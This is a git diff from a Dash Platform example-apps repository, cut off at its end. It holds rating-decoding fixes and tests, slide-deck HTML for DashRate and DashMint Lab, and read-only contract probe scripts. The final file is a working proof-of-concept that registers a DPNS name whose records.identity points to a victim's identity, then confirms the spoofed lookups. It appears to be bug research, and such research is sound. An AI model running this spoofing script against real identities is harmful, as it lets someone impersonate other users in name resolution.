@@ -218,8 +221,14 @@ export async function getRatingDistribution({ groupBy: ["rating"], }); const distribution: RatingDistribution = {}; - for (const rating of RATING_VALUES) { - distribution[rating] = counts.get(ratingKeyHex(rating)) ?? 0n; + for (const rating of RATING_VALUES) distribution[rating] = 0n; + for (const [key, count] of counts) { + const rating = ratingFromKeyHex(key); + if (rating === null) { + log(`Unexpected rating key "${key}" for ${resourceId}`, "error"); + continue; + } + distribution[rating] += count; } return distribution; } catch (err) { diff --git a/example-apps/dashrate/test/e2e/ratings.spec.ts b/example-apps/dashrate/test/e2e/ratings.spec.ts new file mode 100644 index 00000000..5dddf1b4 --- /dev/null +++ b/example-apps/dashrate/test/e2e/ratings.spec.ts @@ -0,0 +1,96 @@ +import { test, expect, type Page } from "./fixtures"; +import { test as liteTest } from "@playwright/test"; + +// Live rating-consistency checks against testnet. Unlike the smoke specs, +// these DO read live rating data, but only assert an invariant that holds +// for any data: the per-star distribution (grouped `count` by rating) must +// sum to the total review count (ungrouped `count`). Both come from separate +// queries, so a change in how Platform keys grouped-count results (e.g. the +// PV14 index-key encoding change, dashpay/platform#5350) shows up here as a +// non-zero total with an all-zero distribution. +// +// The default contract's reviews can't be deleted (`canBeDeleted: false`), +// so at least one resource always has reviews to check. + +const LOAD_TIMEOUT = 90_000; + +function parseCount(text: string): number { + const match = /(\d+)\s+reviews?/.exec(text); + return match ? Number(match[1]) : 0; +} + +async function sumCounts(page: Page, selector: string): Promise { + const texts = await page.locator(selector).allTextContents(); + return texts.reduce((sum, text) => sum + (parseInt(text, 10) || 0), 0); +} + +test.describe("rating consistency (app)", () => { + test("resources with reviews show a rating, and the distribution sums to the total", async ({ + page, + }) => { + const sidebar = page.locator('aside[aria-label="Tutorial resources"]'); + const rated = sidebar.locator("small.rating-present"); + await expect(rated.first()).toBeVisible({ timeout: LOAD_TIMEOUT }); + + // A card counted as having reviews (total > 0) must not fall back to + // "No reviews yet", which it does when the distribution is all zero. + for (const card of await rated.all()) { + await expect(card).not.toContainText("No reviews yet"); + } + + await sidebar + .locator("button.resource-card") + .filter({ has: page.locator("small.rating-present") }) + .first() + .click(); + + const stats = page.locator('[aria-label="Aggregate rating stats"]'); + await expect(stats.locator(".detail-rating-score")).not.toHaveText("—", { + timeout: LOAD_TIMEOUT, + }); + const total = parseCount( + (await stats.locator(".detail-rating-count").textContent()) ?? "", + ); + expect(total).toBeGreaterThan(0); + await expect + .poll(() => sumCounts(page, ".rating-histogram .histogram-count"), { + timeout: LOAD_TIMEOUT, + }) + .toBe(total); + }); +}); + +liteTest.describe("rating consistency (dashrate-lite)", () => { + liteTest( + "the distribution sums to the total for a resource with reviews", + async ({ page }) => { + liteTest.setTimeout(240_000); + await page.goto("/dashrate-lite.html"); + await expect(page.locator("#status")).toHaveText(/Connected to testnet/, { + timeout: LOAD_TIMEOUT, + }); + + const grid = page.locator("#aggregate-result .summary-grid"); + const navButtons = page.locator( + 'nav[aria-label="Tutorial resources"] button', + ); + let checked = false; + for (const button of await navButtons.all()) { + await button.click(); + await expect(grid).toBeVisible({ timeout: LOAD_TIMEOUT }); + const total = parseCount( + (await grid.locator(".score .label").textContent()) ?? "", + ); + if (total === 0) continue; + + await expect(grid.locator(".score .value")).not.toHaveText("-"); + expect( + await sumCounts(page, "#aggregate-result .dist-row .muted"), + ).toBe(total); + checked = true; + break; + } + expect(checked, "expected at least one resource with reviews").toBe(true); + }, + ); +}); diff --git a/example-apps/dashrate/test/queries.test.ts b/example-apps/dashrate/test/queries.test.ts index 7a8b6f7f..bb329af8 100644 --- a/example-apps/dashrate/test/queries.test.ts +++ b/example-apps/dashrate/test/queries.test.ts @@ -7,7 +7,7 @@ import { listResourceReviews, normalizeReviews, normalizeSingleReview, - ratingKeyHex, + ratingFromKeyHex, summaryFromDistribution, } from "../src/dash/queries"; import type { DashSdk } from "../src/dash/types"; @@ -140,20 +140,32 @@ describe("DashRate query normalization", () => { }); describe("DashRate rating distribution", () => { - it("encodes a rating as its order-preserving sign-flipped hex key", () => { - // 0x80 | rating — verified against the live contract's grouped count. - expect(ratingKeyHex(1)).toBe("81"); - expect(ratingKeyHex(5)).toBe("85"); + it("decodes PV14 plain-byte rating keys", () => { + // Literal keys as returned by testnet on protocol version 14. + expect(ratingFromKeyHex("01")).toBe(1); + expect(ratingFromKeyHex("05")).toBe(5); + }); + + it("decodes pre-PV14 sign-flipped rating keys", () => { + expect(ratingFromKeyHex("81")).toBe(1); + expect(ratingFromKeyHex("85")).toBe(5); + }); + + it("rejects keys that aren't a 1–5 rating", () => { + for (const key of ["", "00", "06", "80", "86", "0005", "zz"]) { + expect(ratingFromKeyHex(key)).toBeNull(); + } }); it("maps grouped count keys back to ratings, defaulting absent to 0", async () => { // Grouped `count` returns one entry per PRESENT rating, keyed by the - // order-preserving hex key. Ratings with no reviews (1, 2) are absent. + // hex index key. Ratings with no reviews (1, 2) are absent. Literal + // PV14 keys, not built with app code, so an encoding change shows up. const countMock = vi.fn().mockResolvedValue( new Map([ - [ratingKeyHex(3), 2n], - [ratingKeyHex(4), 5n], - [ratingKeyHex(5), 8n], + ["03", 2n], + ["04", 5n], + ["05", 8n], ]), ); const sdk = { documents: { count: countMock } } as unknown as DashSdk; @@ -180,6 +192,31 @@ describe("DashRate rating distribution", () => { groupBy: ["rating"], }); }); + + it("decodes legacy keys and logs (skips) unexpected ones", async () => { + const countMock = vi.fn().mockResolvedValue( + new Map([ + ["81", 1n], + ["85", 3n], + ["ff", 9n], + ]), + ); + const sdk = { documents: { count: countMock } } as unknown as DashSdk; + const log = vi.fn(); + + const distribution = await getRatingDistribution({ + sdk, + contractId: "contract-1", + resourceId: "tokens", + log, + }); + + expect(distribution).toEqual({ 1: 1n, 2: 0n, 3: 0n, 4: 0n, 5: 3n }); + expect(log).toHaveBeenCalledWith( + 'Unexpected rating key "ff" for tokens', + "error", + ); + }); }); describe("DashRate review list filtering", () => { diff --git a/example-apps/presentation-v4-final.zip b/example-apps/presentation-v4-final.zip new file mode 100644 index 00000000..d09c28f0 Binary files /dev/null and b/example-apps/presentation-v4-final.zip differ diff --git a/example-apps/presentation-v4.zip b/example-apps/presentation-v4.zip new file mode 100644 index 00000000..e6c77877 Binary files /dev/null and b/example-apps/presentation-v4.zip differ diff --git a/example-apps/presentation-v4/assets/dashmint-lab-walkthrough.webm b/example-apps/presentation-v4/assets/dashmint-lab-walkthrough.webm new file mode 100644 index 00000000..6e48b2da Binary files /dev/null and b/example-apps/presentation-v4/assets/dashmint-lab-walkthrough.webm differ diff --git a/example-apps/presentation-v4/assets/dashmint-lab.png b/example-apps/presentation-v4/assets/dashmint-lab.png new file mode 100644 index 00000000..f33e858e Binary files /dev/null and b/example-apps/presentation-v4/assets/dashmint-lab.png differ diff --git a/example-apps/presentation-v4/assets/dashrate-walkthrough.webm b/example-apps/presentation-v4/assets/dashrate-walkthrough.webm new file mode 100644 index 00000000..4b53eae5 Binary files /dev/null and b/example-apps/presentation-v4/assets/dashrate-walkthrough.webm differ diff --git a/example-apps/presentation-v4/assets/dashrate.png b/example-apps/presentation-v4/assets/dashrate.png new file mode 100644 index 00000000..2a260132 Binary files /dev/null and b/example-apps/presentation-v4/assets/dashrate.png differ diff --git a/example-apps/presentation-v4/index.html b/example-apps/presentation-v4/index.html new file mode 100644 index 00000000..a8f5180e --- /dev/null +++ b/example-apps/presentation-v4/index.html @@ -0,0 +1,1188 @@ + + + + + + Dash Platform v4 - DashRate and DashMint Lab + + + +
+
+ +
+

Dash Platform v4 / @dashevo/evo-sdk 4.0

+

Two apps that make v4 feel real.

+

+ DashRate and DashMint Lab are not just demos. They show the SDK reaching + features that let product teams build ratings, scarcity, ownership, and + marketplace flows without hiding the important state in a private server. +

+
+
+ read +

DashRate

+

+ Counts, grouped counts, range filters, and document history turn + Platform data into useful product views. +

+
+
+ own +

DashMint Lab

+

+ NFT-style documents, prices, purchases, transfers, and token-paid + creation make digital objects behave like scarce assets. +

+
+
+
+
+ +
+
+

Why this release matters

+

Less middleware. More Platform answers.

+

+ Moderately technical takeaway: v4 makes the SDK a better product API, + not just a storage API. Apps can ask Platform for the shape they need + instead of fetching raw documents, rebuilding state locally, and trusting + an app-owned database to be the source of truth. +

+
+
+

Aggregates are queryable

+

+ DashRate can ask "how many?" and "how many per rating?" directly. + That is the difference between browsing a pile of reviews and + showing a live ratings product. +

+
+
+

History is inspectable

+

+ A review can be edited, but its prior revisions remain available. + Users see the current state while auditors can still inspect change. +

+
+
+

Scarcity is enforced

+

+ DashMint cards are created only when a fixed-supply token is spent. + The cap lives in the contract instead of in app code. +

+
+
+
+
+ +
+
+

DashRate / Product view

+

Ratings need more than documents.

+

+ A useful ratings app has to answer product questions quickly: + total reviews, average score, per-star distribution, filtered reviews, + and what changed when someone edited a review. +

+
    +
  • One review per identity per resource via a unique owner/resource index.
  • +
  • Rating summaries from count and grouped count queries.
  • +
  • Editable reviews with history through retained document revisions.
  • +
+

+ Why it is exciting: Platform can back user-facing analytics without a + separate indexing service becoming the authority. +

+
+
+ DashRate resources screen with aggregate ratings and reviews +

+ The average, count, distribution bars, recent reviews, and history are + all derived from Platform reads. +

+
+
+ +
+
+
// DashRate review schema
+indices: [
+  {
+    name: "resourceRatingAggregate",
+    properties: [{ resourceId: "asc" }],
+    countable: "countable"
+  },
+  {
+    name: "resourceRatingDistribution",
+    properties: [{ resourceId: "asc" }, { rating: "asc" }],
+    countable: "countable",
+    rangeCountable: true
+  }
+]
+
+
+ 1 + Countdocuments.count gives total reviews for one resource. +
+
+ 2 + GroupgroupBy: ["rating"] returns the per-star histogram. +
+
+ 3 + Inspectdocuments.history shows previous versions of an edited review. +
+
+
+
+

DashRate / v4 mechanics

+

Indexes become product primitives.

+

+ The new v4 aggregation index flags, countable and + rangeCountable, are the key schema unlock. Once the + contract declares those paths, the SDK can ask for counts and grouped + counts over the same data users are already writing. +

+
+ documents.count + count + groupBy + where rating between 1 and 5 + documents.history + documentsKeepHistory +
+
+
+ +
+
+

DashMint Lab / Product view

+

Digital objects can have rules.

+

+ DashMint Lab treats cards as owned Platform documents. They can be + minted, transferred, priced, purchased, and burned. More importantly, + minting is tied to a fixed supply of DashMint tokens. +

+
    +
  • Ownership is document ownership, not an app database row.
  • +
  • Marketplace actions use Platform document operations.
  • +
  • Mint capacity is paid for by burning one token per card.
  • +
+

+ Why it is exciting: scarcity, ownership, and transferability are + enforceable by the contract instead of remembered by the UI. +

+
+
+ DashMint Lab marketplace showing collectible cards and actions +

+ A card is a document with an owner; a listing is a priced document; a + purchase changes ownership through Platform. +

+
+
+ +
+
+
// DashMint card document type
+card: {
+  transferable: 1,
+  tradeMode: 1,
+  creationRestrictionMode: 0,
+  tokenCost: {
+    create: {
+      tokenPosition: 0,
+      amount: 1,
+      effect: 1 // burn on create
+    }
+  }
+}
+
+
+ 1 + Contract defines supply A fixed 100-token DashMint supply is created with the contract. +
+
+ 2 + Create spends tokendocuments.create includes tokenPaymentInfo. +
+
+ 3 + Card becomes asset The resulting document can be transferred, priced, or purchased. +
+
+
+
+

DashMint Lab / v4 SDK reach

+

Burn-to-mint is now an app-level pattern.

+

+ The v4-specific SDK story is token-paid document creation: + documents.create can carry tokenPaymentInfo + that satisfies the contract's tokenCost.create. The app + does not merely check whether minting is allowed; Platform enforces the + payment as part of the write. +

+
+ tokenCost.create + tokenPaymentInfo + tokens.identityBalances + documents.setPrice + documents.purchase + documents.transfer +
+
+
+ +
+
+

Feature map

+

What each app proves.

+
+
Question
+
DashRate
+
DashMint Lab
+ +
What users see
+
Ratings, averages, histograms, filters, recent reviews, edit history.
+
Cards, owners, token balance, prices, purchases, transfers, burns.
+ +
Platform feature
+
Countable and range-countable indexes plus retained document history.
+
Token-cost document creation plus NFT-style document trade and transfer rules.
+ +
Why it matters
+
Apps can show live aggregate truth without running their own authoritative indexer.
+
Scarce digital objects can be governed by contract rules, not just UI conventions.
+
+

+ Together, these apps show v4 moving from "store documents on Platform" + toward "ship products whose core state and business rules live on Platform." +

+
+
+ +
+
+

Close

+

The exciting part is composability.

+

+ DashRate proves Platform can answer richer read questions. DashMint Lab + proves Platform can enforce richer write rules. The same SDK gives an + app both sides: queryable public state and contract-enforced asset logic. +

+
+
+

For builders

+

Less custom backend code is needed before an app feels useful.

+
+
+

For users

+

Ownership, prices, scarcity, and history are inspectable Platform state.

+
+
+

For the ecosystem

+

Different clients can build on the same contracts and arrive at the same answers.

+
+
+
+ DashRate: document aggregates and history + DashMint Lab: token-paid NFT-style documents +
+
+
+ +
+
+

DashRate walkthrough

+
+

DashRate in motion.

+ Try DashRate +
+
+
+ +

+ Browse ratings, sign in, write a review, edit it, and inspect + history. +

+
+
+ +
+
+

DashMint Lab walkthrough

+
+

DashMint Lab in motion.

+ Try DashMint Lab +
+
+
+ +

+ Browse the marketplace, sign in, mint a card with one DashMint + token, and view the token transfer screen. +

+
+
+
+ + + +

+ Dash Platform v4 + example apps +

+ + + + diff --git a/example-apps/presentation/assets/dashmint-lab.png b/example-apps/presentation/assets/dashmint-lab.png new file mode 100644 index 00000000..f33e858e Binary files /dev/null and b/example-apps/presentation/assets/dashmint-lab.png differ diff --git a/example-apps/presentation/assets/dashnote-starter.png b/example-apps/presentation/assets/dashnote-starter.png new file mode 100644 index 00000000..99dbbd4e Binary files /dev/null and b/example-apps/presentation/assets/dashnote-starter.png differ diff --git a/example-apps/presentation/assets/dashnote.png b/example-apps/presentation/assets/dashnote.png new file mode 100644 index 00000000..ed4416f8 Binary files /dev/null and b/example-apps/presentation/assets/dashnote.png differ diff --git a/example-apps/presentation/assets/dashproof-lab.png b/example-apps/presentation/assets/dashproof-lab.png new file mode 100644 index 00000000..676a4f59 Binary files /dev/null and b/example-apps/presentation/assets/dashproof-lab.png differ diff --git a/example-apps/presentation/assets/dashrate.png b/example-apps/presentation/assets/dashrate.png new file mode 100644 index 00000000..2a260132 Binary files /dev/null and b/example-apps/presentation/assets/dashrate.png differ diff --git a/example-apps/presentation/example-apps-presentation.pdf b/example-apps/presentation/example-apps-presentation.pdf new file mode 100644 index 00000000..f60e9d27 Binary files /dev/null and b/example-apps/presentation/example-apps-presentation.pdf differ diff --git a/example-apps/presentation/index.html b/example-apps/presentation/index.html new file mode 100644 index 00000000..344528b4 --- /dev/null +++ b/example-apps/presentation/index.html @@ -0,0 +1,665 @@ + + + + + + Dash Platform Example Apps + + + +
+
+
+

Dash Platform tutorials

+

Example apps, from SDK calls to product flows.

+

+ Four browser examples show how the same Platform SDK patterns become + NFT-style collectibles, notes, ratings, and proof-of-existence records + on testnet. Dashnote Starter appears as the minimal path into Dashnote. +

+
+
+ DashMint Lab + NFT-style cards and token payments. +
+
+ Dashnote + Compatible starter-to-polished notes path. +
+
+ DashRate + Reviews, counts, and history queries. +
+
+ DashProof Lab + Local hashes anchored as proofs. +
+
+
+
+ +
+
+

Tokens and NFT-style documents

+

DashMint Lab

+

+ A collectible-card marketplace app where NFT-style documents can be + minted, transferred, listed, purchased, and burned. +

+
    +
  • Marketplace flows are document ownership changes.
  • +
  • Prices turn owned documents into listings that other identities can purchase.
  • +
  • A fixed-supply token controls minting capacity and can be transferred between identities.
  • +
+

+ The core pattern is NFT-style document ownership plus token scarcity: + cards move through marketplace actions, while tokens control who can + create new supply. +

+
+ documents.create + documents.transfer + documents.setPrice + documents.purchase + tokens.transfer + tokenPaymentInfo +
+
+
+ DashMint Lab card marketplace screen +
+
+ +
+
+

Identity-owned documents

+

Dashnote

+

+ A notes app where entries belong to a Dash Platform identity, not a + device, account database, or browser session. +

+
    +
  • Notes are mutable Platform documents with owner-scoped indexes for fast retrieval.
  • +
  • Any compatible client can read the same contract and render the same user-owned data.
  • +
  • Revision numbers and Platform timestamps make edits explicit instead of hidden in app state.
  • +
+

+ The special part is portability: identity-owned notes can move across + apps while Platform handles document ownership, ordering, revision checks, + and timestamp metadata. +

+
+ documents.create + documents.query + documents.replace + documents.delete +
+
+
+ Dashnote signed-in notes workspace +
+
+ +
+
+

Ratings and aggregate queries

+

DashRate

+

+ A tutorial-resource ratings app centered on Platform v4 relational + document queries and grouped counts. +

+
    +
  • Read-only users can browse resources, aggregates, and recent reviews.
  • +
  • Signed-in users can create one review per resource and edit it later.
  • +
  • Count, grouped count, rating filters, and document history are visible in one UI.
  • +
+
+ documents.query + documents.count + documents.history +
+
+
+ DashRate resources and reviews screen +
+
+ +
+
+

Proof of existence

+

DashProof Lab

+

+ A file proof tutorial that keeps file contents local, hashes them in + the browser, and anchors only the digest plus metadata on Platform. +

+
    +
  • SHA-256 is computed locally before any Platform call.
  • +
  • Users can verify a file by hash and review proof history by owner or chain ID.
  • +
  • Starter files make the demo reproducible without uploading private files.
  • +
+
+ local hashing + unique hash index + chain history +
+
+
+ DashProof Lab create proof screen +
+
+ +
+
+

How to read the examples

+

Same SDK, different learning goals.

+

+ Start with the narrow examples when learning an operation. Move to the + polished apps when you need production-shaped state, auth, and UX patterns. +

+
+
+

DashMint Lab

+

Best for NFT-style ownership flows and token-gated creation.

+
+
+

Dashnote

+

Starter-to-polished notes path: same contract, compatible data, richer UI.

+
+
+

DashRate

+

Best for indexes, aggregate counts, filtered reads, and history.

+
+
+

DashProof Lab

+

Best for local processing plus immutable proof records on Platform.

+
+
+
+
+
+ + + + + + diff --git a/example-apps/token-ops/probe-supply.mjs b/example-apps/token-ops/probe-supply.mjs new file mode 100644 index 00000000..04dadd8e --- /dev/null +++ b/example-apps/token-ops/probe-supply.mjs @@ -0,0 +1,49 @@ +import { createClient } from "../../setupDashClient-core.mjs"; + +const CONTRACT = + process.argv[2] || "5hK6SMfN4m2vU1t9qhvngUUQjsXeMNwr8MZdFeGBH8Aa"; + +const network = process.argv[3] || "testnet"; +const sdk = await createClient(network); +console.log("connected to", network, "; resolving", CONTRACT); + +// The pasted value may be a token ID. contractInfo(tokenId) returns the +// contract ID; it returns undefined for a real contract ID. +let contractId = CONTRACT; +const asToken = await sdk.tokens.contractInfo(CONTRACT); +if (asToken) { + const info = + typeof asToken?.toJSON === "function" ? asToken.toJSON() : asToken; + contractId = String(asToken.contractId ?? info.contractId); + console.log("input was a TOKEN ID; resolved contractId =", contractId); + console.log(" tokenContractPosition =", asToken.tokenContractPosition); +} else { + console.log("input treated as a CONTRACT ID"); +} + +const contract = await sdk.contracts.fetch(contractId); +const json = + typeof contract?.toJSON === "function" ? contract.toJSON() : contract; + +const replacer = (_k, v) => (typeof v === "bigint" ? `${v}n` : v); +console.log("=== FULL tokens config ==="); +console.log(JSON.stringify(json.tokens, replacer, 2)); + +try { + const tokenId = await sdk.tokens.calculateId(CONTRACT, 0); + console.log("\n=== tokenId ===", tokenId); + const info = await sdk.tokens.contractInfo(tokenId); + const infoJson = typeof info?.toJSON === "function" ? info.toJSON() : info; + console.log("=== contractInfo ==="); + console.log(JSON.stringify(infoJson, replacer, 2)); + + const supply = await sdk.tokens.totalSupply(tokenId); + const supplyJson = + typeof supply?.toJSON === "function" ? supply.toJSON() : supply; + console.log("=== totalSupply ==="); + console.log(JSON.stringify(supplyJson, replacer, 2)); +} catch (e) { + console.log("token query error:", e.message); +} + +process.exit(0); diff --git a/inspect-keephistory-flags.mjs b/inspect-keephistory-flags.mjs new file mode 100644 index 00000000..69c36023 --- /dev/null +++ b/inspect-keephistory-flags.mjs @@ -0,0 +1,36 @@ +// Read-only: fetch a contract on testnet and report keep-history / can-be-deleted flags. +import { EvoSDK } from '@dashevo/evo-sdk'; + +const CONTRACT_ID = + process.argv[2] || '5CBPiadGmx3Zsjc26g5onopcx7pdxHPbrRAUD2T2yAbC'; + +const sdk = EvoSDK.testnetTrusted(); +await sdk.connect(); + +try { + const contract = await sdk.contracts.fetch(CONTRACT_ID); + const json = contract.toJSON(); + + console.log('Contract:', CONTRACT_ID); + const docTypes = json.documentSchemas || json.documents || {}; + for (const [name, schema] of Object.entries(docTypes)) { + const keepHistory = + schema.documentsKeepHistory ?? schema.keepsHistory ?? schema.keepHistory; + const canBeDeleted = schema.canBeDeleted; + const mutable = schema.documentsMutable ?? schema.mutable; + console.log(`\n documentType: ${name}`); + console.log(` documentsKeepHistory: ${keepHistory}`); + console.log(` canBeDeleted: ${canBeDeleted}`); + console.log(` documentsMutable: ${mutable}`); + if (keepHistory === true && canBeDeleted === true) { + console.log(' >>> CONFLICT: keepHistory && canBeDeleted both true'); + } + } + + console.log('\n--- raw document schemas ---'); + console.log(JSON.stringify(docTypes, null, 2)); +} catch (e) { + console.error('Fetch failed:\n', e.message); +} finally { + process.exit(0); +} diff --git a/js-evo-sdk-src b/js-evo-sdk-src new file mode 120000 index 00000000..12072bf6 --- /dev/null +++ b/js-evo-sdk-src @@ -0,0 +1 @@ +/home/phez/code/platform/packages/js-evo-sdk/ \ No newline at end of file diff --git a/landing-preview.html b/landing-preview.html new file mode 100644 index 00000000..20f4e53d --- /dev/null +++ b/landing-preview.html @@ -0,0 +1,192 @@ + + + + + + + + Dash Platform — example apps + + + + + + + +
+
+
+ + Testnet +
+

Dash Platform — example apps

+

Tutorial apps built on @dashevo/evo-sdk. Pick one to launch.

+
+ +
+ +
+

DashMint Lab

+ +
+

Mint, transfer, set prices, and trade NFT-style collectible cards on Dash Platform testnet.

+
/dashmint-lab/
+
+ +
+

DashProof Lab

+ +
+

Prove a file existed at a Platform timestamp by hashing locally and anchoring the SHA-256 digest on Dash Platform testnet.

+
/dashproof-lab/
+
+
+ + +
+ + diff --git a/platform-src b/platform-src new file mode 120000 index 00000000..1d58796b --- /dev/null +++ b/platform-src @@ -0,0 +1 @@ +../platform \ No newline at end of file diff --git a/poc-dpns-identity-spoofing.mjs b/poc-dpns-identity-spoofing.mjs new file mode 100644 index 00000000..f4f277b2 --- /dev/null +++ b/poc-dpns-identity-spoofing.mjs @@ -0,0 +1,275 @@ +/** + * PoC: DPNS Identity Spoofing + * + * Demonstrates that an attacker can register a DPNS domain with records.identity + * pointing to a victim's identity, rather than their own. The DPNS contract trigger + * does not validate that records.identity matches the $ownerId (signing identity). + * + * Expected bug behavior: + * - sdk.dpns.usernames({ identityId: VICTIM_ID }) returns the attacker-registered name + * - sdk.dpns.resolveName(NAME) returns VICTIM_ID, not the attacker's ID + * + * Setup: + * PLATFORM_MNEMONIC = attacker's mnemonic + * VICTIM_IDENTITY_ID = any valid identity ID on-chain (the victim) + * POC_NAME = the name to register (must be unique on testnet) + */ + +import { + Document, + DocumentCreateTransition, + BatchTransition, + BatchedTransition, + PrivateKey, +} from '@dashevo/evo-sdk'; +import { setupDashClient } from './setupDashClient.mjs'; + +// ------------------------------------------------------------------------- +// Configuration +// ------------------------------------------------------------------------- + +// The attacker controls this identity (loaded from PLATFORM_MNEMONIC) +// The victim is any existing identity on-chain whose ID we spoof in records.identity +const VICTIM_IDENTITY_ID = + process.env.VICTIM_IDENTITY_ID || + '5BZZFBT7rBZH7GF9sTPjZPMHtrVL9JnsXinqFs2wKSEk'; + +// Name to register (must not already exist). +// Must match DPNS label regex (Base58 chars + hyphens, no i/l/o). +// Use a long, random-looking name to avoid the contested-name fee. +const _ts = Date.now().toString(36).replace(/[ilo]/g, 'x'); +const POC_NAME = process.env.POC_NAME || `spftest-${_ts}-zzz`; + +// DPNS contract ID on testnet +const DPNS_CONTRACT_ID = 'GWRSAVFMjXx8HpQFaNJMqBV7MBgMK4br5UESsB4S31Ec'; +const PARENT_DOMAIN = 'dash'; + +// ------------------------------------------------------------------------- +// Main +// ------------------------------------------------------------------------- + +const { sdk, keyManager } = await setupDashClient(); +const { + identity: attackerIdentity, + identityKey, + signer, +} = await keyManager.getAuth(); + +console.log('=== DPNS Identity Spoofing PoC ===\n'); +console.log('Attacker identity ID:', attackerIdentity.id.toString()); +console.log('Victim identity ID: ', VICTIM_IDENTITY_ID); +console.log('Name to register: ', `${POC_NAME}.${PARENT_DOMAIN}`); +console.log(''); + +// ------------------------------------------------------------------------- +// Step 1: Try high-level SDK first (may or may not accept records.identity) +// ------------------------------------------------------------------------- + +// The evo-sdk registerName sets records.identity internally from the identity +// argument. To spoof, we need to go low-level and submit a raw DPNS domain +// document with records.identity set to the victim's ID. + +console.log( + 'Step 1: Submitting raw DPNS domain document with spoofed records.identity...\n', +); + +try { + const w = await sdk.getWasmSdkConnected(); + + // records.identity must be a 32-byte Uint8Array (base58-decoded) + // Inline base58 decode — no extra dependency needed + const BASE58_ALPHABET = + '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'; + function base58Decode(str) { + let num = 0n; + for (const ch of str) { + const idx = BASE58_ALPHABET.indexOf(ch); + if (idx < 0) throw new Error(`Invalid base58 char: ${ch}`); + num = num * 58n + BigInt(idx); + } + const hex = num.toString(16).padStart(64, '0'); + return Uint8Array.from(Buffer.from(hex, 'hex')); + } + const victimId = base58Decode(VICTIM_IDENTITY_ID); + + // Build the preorder salt and hash (required by DPNS) + const crypto = await import('crypto'); + + const normalizedLabel = POC_NAME.toLowerCase(); + const normalizedParentDomain = PARENT_DOMAIN.toLowerCase(); + const fullDomain = `${normalizedLabel}.${normalizedParentDomain}`; + + const preorderSalt = crypto.randomBytes(32); + + // Double-SHA256 of (salt || fullDomain bytes) — matches wasm-dpp hash() + const inner = crypto + .createHash('sha256') + .update(Buffer.concat([preorderSalt, Buffer.from(fullDomain)])) + .digest(); + const saltedDomainHash = crypto.createHash('sha256').update(inner).digest(); + + // --- Step 1a: Submit preorder document (signed by attacker) --- + console.log('Step 1a: Submitting preorder document...'); + + const preorderDoc = new Document({ + properties: { + saltedDomainHash: saltedDomainHash, + }, + documentTypeName: 'preorder', + dataContractId: DPNS_CONTRACT_ID, + ownerId: attackerIdentity.id, + }); + + const preorderNonce = await w.getIdentityContractNonce( + attackerIdentity.id, + DPNS_CONTRACT_ID, + ); + const preorderNextNonce = (preorderNonce ?? 0n) + 1n; + + const preorderCreateTx = new DocumentCreateTransition({ + document: preorderDoc, + identityContractNonce: preorderNextNonce, + }); + + const preorderBatch = BatchTransition.fromBatchedTransitions( + [new BatchedTransition(preorderCreateTx.toDocumentTransition())], + attackerIdentity.id, + 0, + ); + + const preorderSt = preorderBatch.toStateTransition(); + const attackerPrivKey = PrivateKey.fromWIF( + keyManager.keys.auth.privateKeyWif, + ); + preorderSt.sign(attackerPrivKey, identityKey); + + const preorderHash = preorderSt.hash(false); + await sdk.stateTransitions.broadcastStateTransition(preorderSt); + await sdk.stateTransitions.waitForStateTransitionResult(preorderHash); + console.log('Preorder submitted successfully.\n'); + + // --- Step 1b: Submit domain document with records.identity = VICTIM --- + console.log( + 'Step 1b: Submitting domain document with records.identity = VICTIM...', + ); + + const domainDoc = new Document({ + properties: { + label: POC_NAME, + normalizedLabel, + parentDomainName: PARENT_DOMAIN, + normalizedParentDomainName: normalizedParentDomain, + preorderSalt: preorderSalt, + records: { + identity: victimId, // <-- SPOOFED: attacker sets this to victim's ID + }, + subdomainRules: { + allowSubdomains: false, + }, + }, + documentTypeName: 'domain', + dataContractId: DPNS_CONTRACT_ID, + ownerId: attackerIdentity.id, // attacker owns the document + }); + + const domainNonce = await w.getIdentityContractNonce( + attackerIdentity.id, + DPNS_CONTRACT_ID, + ); + const domainNextNonce = (domainNonce ?? 0n) + 1n; + + const domainCreateTx = new DocumentCreateTransition({ + document: domainDoc, + identityContractNonce: domainNextNonce, + }); + + const domainBatch = BatchTransition.fromBatchedTransitions( + [new BatchedTransition(domainCreateTx.toDocumentTransition())], + attackerIdentity.id, + 0, + ); + + const domainSt = domainBatch.toStateTransition(); + domainSt.sign(attackerPrivKey, identityKey); + + const domainHash = domainSt.hash(false); + await sdk.stateTransitions.broadcastStateTransition(domainSt); + const domainResult = + await sdk.stateTransitions.waitForStateTransitionResult(domainHash); + + console.log('Domain document submitted. Result:', domainResult.toJSON()); + console.log(''); + + // ------------------------------------------------------------------------- + // Step 2: Verify the spoofing + // ------------------------------------------------------------------------- + + console.log('Step 2: Verifying spoofing via lookups...\n'); + + // Forward lookup: does the name resolve to the VICTIM? + const resolvedId = await sdk.dpns.resolveName(`${POC_NAME}.${PARENT_DOMAIN}`); + console.log( + `Forward lookup sdk.dpns.resolveName("${POC_NAME}.${PARENT_DOMAIN}"):`, + ); + console.log(' Resolved to:', resolvedId?.toString()); + console.log(' Expected (victim):', VICTIM_IDENTITY_ID); + const forwardSpoofed = resolvedId?.toString() === VICTIM_IDENTITY_ID; + console.log( + ' Forward spoofing confirmed:', + forwardSpoofed ? 'YES ✓ BUG' : 'NO', + ); + console.log(''); + + // Reverse lookup: does the victim appear to own the name? + const victimNames = await sdk.dpns.usernames({ + identityId: VICTIM_IDENTITY_ID, + }); + console.log( + `Reverse lookup sdk.dpns.usernames({ identityId: "${VICTIM_IDENTITY_ID}" }):`, + ); + console.log(' Names returned:', victimNames); + const reverseSpoofed = + Array.isArray(victimNames) && + victimNames.some((n) => n?.toString().includes(POC_NAME)); + console.log( + ' Reverse spoofing confirmed:', + reverseSpoofed ? 'YES ✓ BUG' : 'NO (check raw output above)', + ); + console.log(''); + + // Confirm attacker does NOT own the name per records.identity + const attackerNames = await sdk.dpns.usernames({ + identityId: attackerIdentity.id.toString(), + }); + console.log('Attacker names (by identity ID):', attackerNames); + console.log(''); + + if (forwardSpoofed || reverseSpoofed) { + console.log('=== RESULT: BUG CONFIRMED ==='); + console.log( + `Name "${POC_NAME}.${PARENT_DOMAIN}" was registered by attacker (${attackerIdentity.id})`, + ); + console.log( + `but resolves to / is attributed to victim (${VICTIM_IDENTITY_ID})`, + ); + } else { + console.log( + '=== RESULT: Bug NOT confirmed (trigger may have rejected the document) ===', + ); + console.log('Check the raw output above for error details.'); + } +} catch (e) { + console.error('Error during PoC execution:', e.message); + if ( + e.message?.includes('trigger') || + e.message?.includes('records.identity') || + 